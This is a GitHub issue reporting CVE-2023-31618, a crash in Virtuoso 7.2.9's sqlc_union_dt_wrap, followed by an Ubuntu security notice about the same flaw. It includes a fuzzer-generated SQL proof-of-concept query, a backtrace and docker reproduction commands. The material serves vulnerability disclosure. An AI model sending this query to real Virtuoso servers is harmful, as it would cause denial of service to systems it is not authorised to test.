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CVE-2023-31618: virtuoso 7.2.9 crashed at sqlc_union_dt_wrap · Issue #1136 · openlink/virtuoso-opensource

An issue in the sqlc_union_dt_wrap component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

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#sql#dos#git#docker

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Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

virtuoso 7.2.9 crashed at sqlc_union_dt_wrap #1136

fuboat opened this issue

Apr 12, 2023

· 0 comments

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The PoC is generated by my DBMS fuzzer.

SELECT SUM(v), COUNT(*) FROM gstest_empty UNION ALL SELECT SUM(v), NULL FROM gstest_empty UNION ALL SELECT NULL, COUNT(*) FROM gstest_empty UNION ALL SELECT NULL, NULL

backtrace:

#0 0x81a65e (sqlc_union_dt_wrap+0x5e) #1 0x81a783 (sqlc_union_order+0x33) #2 0x6b6f11 (sql_stmt_comp+0x511) #3 0x6ba122 (sql_compile_1+0x1a62) #4 0x7c8cd0 (stmt_set_query+0x340) #5 0x7cabc2 (sf_sql_execute+0x922) #6 0x7cbf4e (sf_sql_execute_w+0x17e) #7 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #8 0xe1f01c (future_wrapper+0x3fc) #9 0xe2691e (_thread_boot+0x11e) #10 0x7f5244ae3609 (start_thread+0xd9) #11 0x7f52448b3133 (clone+0x43)

ways to reproduce (write poc to the file ‘/tmp/test.sql’ first):

remove the old one

docker container rm virtdb_test -f

start virtuoso through docker

docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9

wait the server starting

sleep 10

check whether the simple query works

echo “SELECT 1;” | docker exec -i virtdb_test isql 1111 dba

run the poc

docker exec -i virtdb_test isql 1111 dba < “/tmp/test.sql”

1 participant

Related news

Ubuntu Security Notice USN-6832-1

Ubuntu Security Notice 6832-1 - Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. This issue only affects Ubuntu 22.04 LTS, Ubuntu 23.10 and Ubuntu 24.04 LTS.

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